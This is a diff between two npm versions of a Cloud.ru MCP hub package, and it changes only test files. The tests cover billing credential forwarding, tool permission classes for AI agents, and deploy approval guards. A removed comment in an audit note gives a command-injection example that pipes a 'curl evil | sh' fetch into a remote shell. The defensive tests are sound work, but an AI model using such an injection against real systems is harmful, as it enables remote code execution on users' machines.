@dzhechkov/cloudru-hub 0.1.12 → 0.1.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,113 @@
1
+ import { after, test } from 'node:test';
2
+ import assert from 'node:assert/strict';
3
+ import fs from 'node:fs';
4
+ import os from 'node:os';
5
+ import path from 'node:path';
6
+ import { spawnSync } from 'node:child_process';
7
+ import { createRequire } from 'node:module';
8
+
9
+ const require = createRequire(import.meta.url);
10
+ const { readCredentials } = require('../src/credentials.js');
11
+ const classification = require('../data/tools-classification.json');
12
+ const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-billing-credentials-'));
13
+ after(() => fs.rmSync(scratch, { recursive: true, force: true }));
14
+
15
+ const credentials = path.join(scratch, 'credentials.json');
16
+ const engine = path.join(scratch, 'fake-engine');
17
+ const projectId = '11111111-2222-3333-4444-555555555555';
18
+ const agreementId = 'agreement-123';
19
+
20
+ fs.writeFileSync(engine, `#!/usr/bin/env node
21
+ process.stdin.setEncoding('utf8');
22
+ let buffer = '';
23
+ process.stdin.on('data', (chunk) => {
24
+ buffer += chunk;
25
+ let end;
26
+ while ((end = buffer.indexOf('\\n')) >= 0) {
27
+ const line = buffer.slice(0, end);
28
+ buffer = buffer.slice(end + 1);
29
+ if (!line) continue;
30
+ const message = JSON.parse(line);
31
+ const result = { content: [{ type: 'text', text: JSON.stringify({
32
+ agreement: process.env.CLOUDRU_AGREEMENT_ID || null,
33
+ keyId: process.env.CLOUDRU_KEY_ID || null,
34
+ projectId: process.env.CLOUDRU_PROJECT_ID || null,
35
+ }) }] };
36
+ process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result }) + '\\n');
37
+ }
38
+ });
39
+ `, { mode: 0o755 });
40
+
41
+ function callBilling(extraEnv = {}, toolsets = 'billing') {
42
+ const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});` +
43
+ `const result=runSafeMcp({toolsets:${JSON.stringify(toolsets)},resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(classification.engineSha256)}}});if(result!==null)process.exitCode=result;`;
44
+ const input = JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'billing_balance', arguments: {} } }) + '\n';
45
+ return spawnSync(process.execPath, ['-e', script], {
46
+ input, encoding: 'utf8', timeout: 5000,
47
+ env: { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, ...extraEnv },
48
+ });
49
+ }
50
+
51
+ test('billing profile forwards agreement ID and auth from owner-only credentials to the Go child', () => {
52
+ fs.writeFileSync(credentials, JSON.stringify({
53
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
54
+ agreement_id: agreementId,
55
+ }), { mode: 0o600 });
56
+ const run = callBilling({ CLOUDRU_AGREEMENT_ID: 'stale-env-agreement' });
57
+ assert.equal(run.status, 0, run.stderr);
58
+ const response = JSON.parse(run.stdout.trim());
59
+ assert.deepEqual(JSON.parse(response.result.content[0].text), {
60
+ agreement: agreementId, keyId: 'synthetic-key', projectId,
61
+ });
62
+ assert.doesNotMatch(run.stdout + run.stderr, /synthetic-secret/);
63
+ });
64
+
65
+ test('agreement ID is optional in the file and can still come from the environment', () => {
66
+ fs.writeFileSync(credentials, JSON.stringify({
67
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
68
+ }), { mode: 0o600 });
69
+ const run = callBilling({ CLOUDRU_AGREEMENT_ID: agreementId });
70
+ assert.equal(run.status, 0, run.stderr);
71
+ assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
72
+ });
73
+
74
+ test('mixed and all profiles also forward the agreement ID when billing is selected', () => {
75
+ fs.writeFileSync(credentials, JSON.stringify({
76
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
77
+ agreement_id: agreementId,
78
+ }), { mode: 0o600 });
79
+ for (const profile of ['inventory,billing', 'all']) {
80
+ const run = callBilling({}, profile);
81
+ assert.equal(run.status, 0, `${profile}: ${run.stderr}`);
82
+ assert.equal(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text).agreement, agreementId);
83
+ }
84
+ });
85
+
86
+ test('billing keeps an environment-only setup when no credential file exists', () => {
87
+ const run = callBilling({
88
+ HOME: path.join(scratch, 'empty-home'),
89
+ CLOUDRU_HUB_CREDENTIALS: '',
90
+ CLOUDRU_AGREEMENT_ID: agreementId,
91
+ CLOUDRU_KEY_ID: 'environment-key',
92
+ CLOUDRU_PROJECT_ID: projectId,
93
+ });
94
+ assert.equal(run.status, 0, run.stderr);
95
+ assert.deepEqual(JSON.parse(JSON.parse(run.stdout.trim()).result.content[0].text), {
96
+ agreement: agreementId, keyId: 'environment-key', projectId,
97
+ });
98
+ });
99
+
100
+ test('explicit missing or malformed billing credential files fail closed', () => {
101
+ const missing = callBilling({ CLOUDRU_HUB_CREDENTIALS: path.join(scratch, 'missing.json') });
102
+ assert.equal(missing.status, 1);
103
+ assert.match(missing.stderr, /cloudru-hub mcp-safe:/);
104
+ fs.writeFileSync(credentials, JSON.stringify({
105
+ key_id: 'synthetic-key', secret: 'synthetic-secret', project_id: projectId,
106
+ agreement_id: 'bad\nvalue',
107
+ }), { mode: 0o600 });
108
+ const malformed = callBilling();
109
+ assert.equal(malformed.status, 1);
110
+ assert.match(malformed.stderr, /agreement_id/);
111
+ assert.equal(malformed.stdout, '');
112
+ assert.throws(() => readCredentials({ CLOUDRU_HUB_CREDENTIALS: credentials }), /agreement_id/);
113
+ });
@@ -19,34 +19,28 @@ test('every snapshot tool is classified, and nothing extra', () => {
19
19
  assert.equal(snapNames.length, 144);
20
20
  });
21
21
 
22
- test('counts are the reviewed golden split: 65 ask / 2 deny / 77 allow', () => {
23
- assert.deepEqual(cls.counts, { ask: 65, deny: 2, allow: 77 });
22
+ test('counts are the reviewed golden split: 64 ask / 2 deny / 78 allow', () => {
23
+ assert.deepEqual(cls.counts, { ask: 64, deny: 2, allow: 78 });
24
24
  const by = namesByPermission(cls);
25
- assert.equal(by.ask.length, 65);
25
+ assert.equal(by.ask.length, 64);
26
26
  assert.equal(by.deny.length, 2);
27
- assert.equal(by.allow.length, 77);
27
+ assert.equal(by.allow.length, 78);
28
28
  });
29
29
 
30
- // --- Invariant of the 2026-08-10 behaviour re-audit (cross-model QE HIGH finding) ---
31
- // stack_status ADVANCES a planned/running job server-side: handleStackStatus
32
- // (tools_stack.go:451) calls advance() (:479-484), which starts pending steps via
33
- // s.callTool (:220) — invoking the paid create tools with no confirmation.
34
- // LIVE-REPRODUCED: one stack_status call moved a planned job planned→running and
35
- // attempted `provision` (stopped only at AUTH_REQUIRED). If this ever flips back to
36
- // allow, the fully-frictionless chain stack_plan→stack_status provisions a billable
37
- // stack with ZERO permission prompts — defeating the ADR-004 brake.
38
- test('stack_status is ASK — it advances jobs and invokes paid create tools (tools_stack.go:479→:220)', () => {
39
- assert.equal(cls.tools.stack_status.permission, 'ask');
40
- assert.equal(cls.tools.stack_status.effect, 'mutating');
30
+ // The imported engine now makes status observational. The Go regression test
31
+ // proves repeated reads do not advance a planned/running job; only apply can.
32
+ test('stack_status is ALLOW only after the engine stopped advancing jobs', () => {
33
+ assert.equal(cls.tools.stack_status.permission, 'allow');
34
+ assert.equal(cls.tools.stack_status.effect, 'read-only');
41
35
  const rules = permissionRules(cls);
42
- assert.ok(rules.ask.includes('mcp__cloudru-vm__stack_status'));
43
- assert.ok(rules.ask.includes('mcp__cloudru_vm__stack_status'));
44
- assert.ok(!rules.allow.some((r) => r.endsWith('__stack_status')), 'stack_status must never be emitted as allow');
36
+ assert.ok(rules.allow.includes('mcp__cloudru-vm__stack_status'));
37
+ assert.ok(rules.allow.includes('mcp__cloudru_vm__stack_status'));
38
+ assert.ok(!rules.ask.some((r) => r.endsWith('__stack_status')));
45
39
  });
46
40
 
47
- test('the stack chain: only the pure plan is allow — every advancing/applying/destroying step is ask', () => {
48
- assert.equal(cls.tools.stack_plan.permission, 'allow'); // verified: persists a LOCAL job file only, creates nothing
49
- for (const name of ['stack_apply', 'stack_status', 'stack_destroy']) {
41
+ test('the stack chain: plan and status are observational; apply and destroy require approval', () => {
42
+ for (const name of ['stack_plan', 'stack_status']) assert.equal(cls.tools[name].permission, 'allow', name);
43
+ for (const name of ['stack_apply', 'stack_destroy']) {
50
44
  assert.equal(cls.tools[name].permission, 'ask', name);
51
45
  }
52
46
  });
@@ -54,12 +48,9 @@ test('the stack chain: only the pure plan is allow — every advancing/applying/
54
48
  // --- Invariant of the 2026-08-10 shell-reach re-audit (AM-2, cross-model QE HIGH) ---
55
49
  // The classification method has a SECOND hazard axis: a tool is allow ONLY if it does NOT
56
50
  // pass a user-controlled arg into a remote shell. `logs` does — handleLogs (tools.go:1758)
57
- // hands the user `service` arg to engine.Logs, which concatenates it RAW into a remote
58
- // `docker compose logs <service>` (engine/logs.go:61) run via SSH CombinedOutput
59
- // (internal/deploy/ssh.go:117). service="app; curl evil | sh" ⇒ arbitrary RCE on the
60
- // user's VM. If this flips back to allow the injection sits behind a SILENT allow — a
61
- // zero-prompt command-injection path defeating the ADR-004 brake.
62
- test('logs is ASK — it concatenates a user-controlled service arg into a remote shell (logs.go:61 → ssh.go:117)', () => {
51
+ // reaches a remote shell. The imported engine quotes that argument, but a log
52
+ // read can disclose sensitive output and still crosses the shell-reach axis.
53
+ test('logs remains ASK because it reaches remote SSH/compose', () => {
63
54
  assert.equal(cls.tools.logs.permission, 'ask');
64
55
  const rules = permissionRules(cls);
65
56
  assert.ok(rules.ask.includes('mcp__cloudru-vm__logs'));
@@ -70,10 +61,10 @@ test('logs is ASK — it concatenates a user-controlled service arg into a remot
70
61
  // The method doc (the $comment) must keep documenting BOTH hazard axes — losing the
71
62
  // shell-reach axis silently is the exact regression that let `logs` sit in allow. This is
72
63
  // a layer-1 guard on the METHOD, not just the instance.
73
- test('the classification method doc documents the shell-reach hazard axis and the engine-injection flag', () => {
64
+ test('the classification method doc documents the shell-reach axis and the engine fix', () => {
74
65
  assert.match(cls.$comment, /shell-reach/i, 'method doc must name the shell-reach hazard axis');
75
- assert.match(cls.$comment, /user-controlled argument into a shell/i);
76
- assert.match(cls.$comment, /shell-escape opts\.Service/i, 'method doc must record the flagged engine injection');
66
+ assert.match(cls.$comment, /user-controlled argument reaching shell/i);
67
+ assert.match(cls.$comment, /logs shell-quotes service/i);
77
68
  });
78
69
 
79
70
  // No allow tool may reach a shell: every allow entry must be free of the shell-reach
@@ -128,9 +119,9 @@ test('read-only recon stays frictionless: vm_list, billing_*, deploy_plan are al
128
119
  test('permissionRules expands every name in BOTH prefix spellings (unverified normalization, deny-by-default)', () => {
129
120
  const rules = permissionRules(cls);
130
121
  assert.equal(SERVER_PREFIXES.length, 2);
131
- assert.equal(rules.ask.length, 65 * 2);
122
+ assert.equal(rules.ask.length, 64 * 2);
132
123
  assert.equal(rules.deny.length, 2 * 2);
133
- assert.equal(rules.allow.length, 77 * 2);
124
+ assert.equal(rules.allow.length, 78 * 2);
134
125
  assert.ok(rules.ask.includes('mcp__cloudru-vm__deploy'));
135
126
  assert.ok(rules.ask.includes('mcp__cloudru_vm__deploy'));
136
127
  assert.ok(rules.deny.includes('mcp__cloudru-vm__secret_value'));
@@ -0,0 +1,154 @@
1
+ import { after, test } from 'node:test';
2
+ import assert from 'node:assert/strict';
3
+ import fs from 'node:fs';
4
+ import os from 'node:os';
5
+ import path from 'node:path';
6
+ import { spawnSync } from 'node:child_process';
7
+ import { createRequire } from 'node:module';
8
+
9
+ const require = createRequire(import.meta.url);
10
+ const { readCredentials } = require('../src/credentials.js');
11
+ const { issueApproval } = require('../src/deploy-approval.js');
12
+ const cls = require('../data/tools-classification.json');
13
+ const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-deploy-guard-'));
14
+ after(() => fs.rmSync(scratch, { recursive: true, force: true }));
15
+ const projectId = '11111111-2222-3333-4444-555555555555';
16
+ const vmId = 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';
17
+ const otherVM = 'bbbbbbbb-cccc-dddd-eeee-ffffffffffff';
18
+ const planId = 'plan-123456abcdef';
19
+ const file = path.join(scratch, 'credentials.json');
20
+ const planFile = path.join(scratch, '.cloudru-vm', 'plans', `${planId}.json`);
21
+ const log = path.join(scratch, 'forwarded.jsonl');
22
+ const fake = path.join(scratch, 'fake-engine');
23
+ const env = { ...process.env, CLOUDRU_HUB_CREDENTIALS: file, CLOUDRU_HUB_APPROVALS: path.join(scratch, 'approvals'), CLOUDRU_VM_HOME: scratch, FAKE_LOG: log };
24
+ fs.writeFileSync(file, JSON.stringify({ key_id: 'test-key', secret: 'test-secret', project_id: projectId, region: 'ru.AZ-2' }), { mode: 0o600 });
25
+ fs.mkdirSync(path.dirname(planFile), { recursive: true });
26
+ const plan = { plan_id: planId, project_id: projectId, expires_at: new Date(Date.now() + 1800000).toISOString(), vm: { name: 'snake-pilot' }, ssh: { login: 'user1' }, cost: { currency: 'RUB', total_monthly_rub: 42 } };
27
+ const savePlan = () => fs.writeFileSync(planFile, JSON.stringify(plan));
28
+ savePlan();
29
+ fs.writeFileSync(fake, `#!/usr/bin/env node
30
+ const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='tools/list')result={tools:[{name:'deploy_apply'},{name:'vm_exec'},{name:'destroy'}]};else if(m.method==='tools/call'){const deployment=process.env.FAKE_DEPLOY_OUTCOME?JSON.parse(process.env.FAKE_DEPLOY_OUTCOME):{vm_id:'${vmId}',status:'running',public_ip:'203.0.113.10',password:'generated-secret'};result={isError:m.params.name==='deploy_apply'&&!!process.env.FAKE_DEPLOY_ERROR,content:[{type:'text',text:m.params.name==='deploy_apply'?JSON.stringify(deployment):JSON.stringify({status:'ok'})}]};}process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
31
+ `);
32
+ fs.chmodSync(fake, 0o755);
33
+ const rpc = (id, name, args = {}) => JSON.stringify({ jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } });
34
+ function run(lines, overrides = {}) {
35
+ fs.writeFileSync(log, '');
36
+ const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});runSafeMcp({toolsets:'vm-deploy',resolved:{path:${JSON.stringify(fake)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
37
+ const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000, env: { ...env, ...overrides } });
38
+ assert.equal(r.status, 0, r.stderr || r.error?.message);
39
+ return { responses: r.stdout.trim().split('\n').map(JSON.parse), forwarded: fs.readFileSync(log, 'utf8').trim().split('\n').filter(Boolean).map(JSON.parse) };
40
+ }
41
+
42
+ test('credentials require owner-only regular file and do not interpolate shell text', () => {
43
+ assert.equal(readCredentials(env).projectId, projectId);
44
+ assert.equal(readCredentials(env).env.CLOUDRU_KEY_ID, 'test-key');
45
+ fs.chmodSync(file, 0o644);
46
+ assert.throws(() => readCredentials(env), /0600/);
47
+ fs.chmodSync(file, 0o600);
48
+ fs.writeFileSync(file, '{"secret":THIS_IS_A_FAKE_SECRET_FOR_QE}', { mode: 0o600 });
49
+ assert.throws(() => readCredentials(env), (error) => error.message === 'credentials file is not valid JSON');
50
+ fs.writeFileSync(file, JSON.stringify({ key_id: 'test-key', secret: 'test-secret', project_id: projectId, region: 'ru.AZ-2' }), { mode: 0o600 });
51
+ });
52
+
53
+ test('cost cap and project must match the persisted plan before approval', () => {
54
+ assert.throws(() => issueApproval(planId, 41, env), /cost exceeds/);
55
+ plan.project_id = otherVM;
56
+ savePlan();
57
+ assert.throws(() => issueApproval(planId, 100, env), /project differs/);
58
+ plan.project_id = projectId;
59
+ savePlan();
60
+ });
61
+
62
+ test('approved plan is single-use; remote commands are confined to its VM', () => {
63
+ issueApproval(planId, 50, env);
64
+ const out = run([
65
+ JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/list' }),
66
+ rpc(2, 'deploy_apply', { plan_id: planId, confirmed: false }),
67
+ rpc(3, 'deploy_apply', { plan_id: planId, confirmed: true }),
68
+ ]);
69
+ const followup = run([
70
+ rpc(4, 'vm_exec', { vm: otherVM, command: 'id' }),
71
+ rpc(5, 'vm_exec', { vm: vmId, user: 'root', command: 'whoami' }),
72
+ rpc(6, 'destroy', { confirmed: true }),
73
+ ]);
74
+ const by = Object.fromEntries([...out.responses, ...followup.responses].map((x) => [x.id, x]));
75
+ assert.deepEqual(by[1].result.tools.map((x) => x.name), ['deploy_apply', 'vm_exec']);
76
+ assert.equal(by[2].result.isError, false);
77
+ assert.doesNotMatch(JSON.stringify(by[2]), /generated-secret/);
78
+ for (const id of [3, 4, 6]) assert.ok(by[id].error, `request ${id} blocked`);
79
+ assert.equal(by[5].result.content[0].text, JSON.stringify({ status: 'ok' }));
80
+ const calls = [...out.forwarded, ...followup.forwarded].filter((x) => x.method === 'tools/call');
81
+ assert.deepEqual(calls.map((x) => x.params), [
82
+ { name: 'deploy_apply', arguments: { plan_id: planId, confirmed: true } },
83
+ { name: 'vm_exec', arguments: { vm: vmId, user: 'user1', command: 'whoami' } },
84
+ ]);
85
+ });
86
+
87
+ test('a changed plan invalidates the exact approval', () => {
88
+ const second = 'plan-abcdef123456';
89
+ const secondFile = path.join(path.dirname(planFile), `${second}.json`);
90
+ fs.writeFileSync(secondFile, JSON.stringify({ ...plan, plan_id: second }));
91
+ issueApproval(second, 50, env);
92
+ fs.writeFileSync(secondFile, JSON.stringify({ ...plan, plan_id: second, cost: { currency: 'RUB', total_monthly_rub: 49 } }));
93
+ const out = run([rpc(1, 'deploy_apply', { plan_id: second, confirmed: true })]);
94
+ assert.match(out.responses[0].error.message, /approval does not match/);
95
+ assert.equal(out.forwarded.length, 0);
96
+ });
97
+
98
+ test('partial deploy preserves its VM UUID for recovery and redacts nested secrets', () => {
99
+ const third = 'plan-123456fedcba';
100
+ fs.writeFileSync(path.join(path.dirname(planFile), `${third}.json`), JSON.stringify({ ...plan, plan_id: third }));
101
+ issueApproval(third, 50, env);
102
+ const outcome = { status: 'state_persistence_failed', result: { vm_id: otherVM, status: 'running', password: 'generated-secret' }, error: 'local state write failed' };
103
+ const out = run([rpc(1, 'deploy_apply', { plan_id: third })], { FAKE_DEPLOY_OUTCOME: JSON.stringify(outcome), FAKE_DEPLOY_ERROR: '1' });
104
+ assert.equal(out.responses[0].result.isError, true);
105
+ const returned = JSON.parse(out.responses[0].result.content[0].text);
106
+ assert.equal(returned.result.vm_id, otherVM);
107
+ assert.equal(returned.result.password, undefined);
108
+ assert.match(returned.recovery, /Inspect/);
109
+ const denied = run([rpc(2, 'vm_exec', { vm: otherVM, command: 'id' })]);
110
+ assert.ok(denied.responses[0].error);
111
+ });
112
+
113
+ test('static site requires the reviewed digest and never grants an SSH command session', () => {
114
+ const id = 'plan-aabbccddeeff';
115
+ const digest = 'a'.repeat(64);
116
+ const sitePlan = { ...plan, plan_id: id, ports: [80], network: { floating_ip: true, subnet_id: 'subnet-a', attach_fip_id: otherVM },
117
+ static_site: { source: 'fixtures/snake/index.html', sha256: digest, size_bytes: 12, source_base64: Buffer.from('hello snake!').toString('base64'),
118
+ files: [{ path: 'index.html', sha256: digest, size_bytes: 12, content_base64: Buffer.from('hello snake!').toString('base64') }] } };
119
+ const siteFile = path.join(path.dirname(planFile), `${id}.json`);
120
+ fs.writeFileSync(siteFile, JSON.stringify(sitePlan));
121
+ assert.throws(() => issueApproval(id, 50, env), /site-sha256/);
122
+ assert.throws(() => issueApproval(id, 50, env, Date.now(), 'b'.repeat(64)), /site-sha256/);
123
+ const approved = issueApproval(id, 50, env, Date.now(), digest);
124
+ assert.equal(approved.staticSite.sha256, digest);
125
+ assert.match(approved.staticSite.ingress, /dedicated security group/);
126
+ assert.match(approved.staticSite.estimateScope, /public IP charges excluded/);
127
+ const outcome = { vm_id: otherVM, status: 'running', public_ip: '203.0.113.10', http_verification: { verified: true } };
128
+ const out = run([rpc(1, 'deploy_apply', { plan_id: id })], { FAKE_DEPLOY_OUTCOME: JSON.stringify(outcome) });
129
+ assert.equal(out.responses[0].result.isError, false);
130
+ const denied = run([rpc(2, 'vm_exec', { vm: otherVM, command: 'id' })]);
131
+ assert.ok(denied.responses[0].error);
132
+ });
133
+
134
+ test('static-site artifact and same-price network changes invalidate approval', () => {
135
+ const site = { source: 'snake.zip', sha256: 'c'.repeat(64), size_bytes: 20, source_base64: Buffer.from('test').toString('base64'),
136
+ files: [{ path: 'index.html', sha256: 'd'.repeat(64), size_bytes: 10, content_base64: 'aGVsbG8=' }] };
137
+ for (const [suffix, mutation] of [
138
+ ['010101010101', (p) => { p.static_site.sha256 = 'e'.repeat(64); }],
139
+ ['020202020202', (p) => { p.network.subnet_id = 'subnet-b'; }],
140
+ ['030303030303', (p) => { p.vm.zone = { id: 'zone-b', name: 'AZ-2' }; }],
141
+ ]) {
142
+ const id = `plan-${suffix}`;
143
+ const original = { ...plan, plan_id: id, ports: [80], network: { floating_ip: true, subnet_id: 'subnet-a', attach_fip_id: otherVM },
144
+ vm: { ...plan.vm, zone: { id: 'zone-a', name: 'AZ-1' } }, static_site: structuredClone(site) };
145
+ const filename = path.join(path.dirname(planFile), `${id}.json`);
146
+ fs.writeFileSync(filename, JSON.stringify(original));
147
+ issueApproval(id, 50, env, Date.now(), site.sha256);
148
+ mutation(original);
149
+ fs.writeFileSync(filename, JSON.stringify(original));
150
+ const out = run([rpc(1, 'deploy_apply', { plan_id: id })]);
151
+ assert.match(out.responses[0].error.message, /approval does not match/);
152
+ assert.equal(out.forwarded.length, 0);
153
+ }
154
+ });
@@ -1,7 +1,7 @@
1
1
  // Skill dialect compiler tests — ADR-006 Confirmation, all layer 1: size, links, dialect
2
2
  // grep, determinism. Uses a SYNTHETIC fixture (our own text carrying the Hermes-dialect
3
3
  // tokens) — the real canonical corpus is upstream content and never ships in this package.
4
- import { test } from 'node:test';
4
+ import { after, test } from 'node:test';
5
5
  import assert from 'node:assert/strict';
6
6
  import fs from 'node:fs';
7
7
  import os from 'node:os';
@@ -11,8 +11,18 @@ import { createRequire } from 'node:module';
11
11
  const require = createRequire(import.meta.url);
12
12
  const { compileSkill, loadDialects, filterFrontmatter } = require('../src/dialects.js');
13
13
 
14
+ // Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
15
+ // MEASURED 2026-09-20: 81 cloudru-dialects-* dirs per full sweep (backlog 7cb6f9b7).
16
+ const created = [];
17
+ const removeCreated = () => {
18
+ if (process.env.DZ_KEEP_TMP === '1') return;
19
+ for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
20
+ };
21
+ after(removeCreated);
22
+ process.on('exit', removeCreated);
14
23
  function fixture() {
15
24
  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-dialects-'));
25
+ created.push(dir);
16
26
  fs.writeFileSync(path.join(dir, 'SKILL.md'), `---
17
27
  name: cloudru-hub
18
28
  description: Управление Cloud.ru Evolution.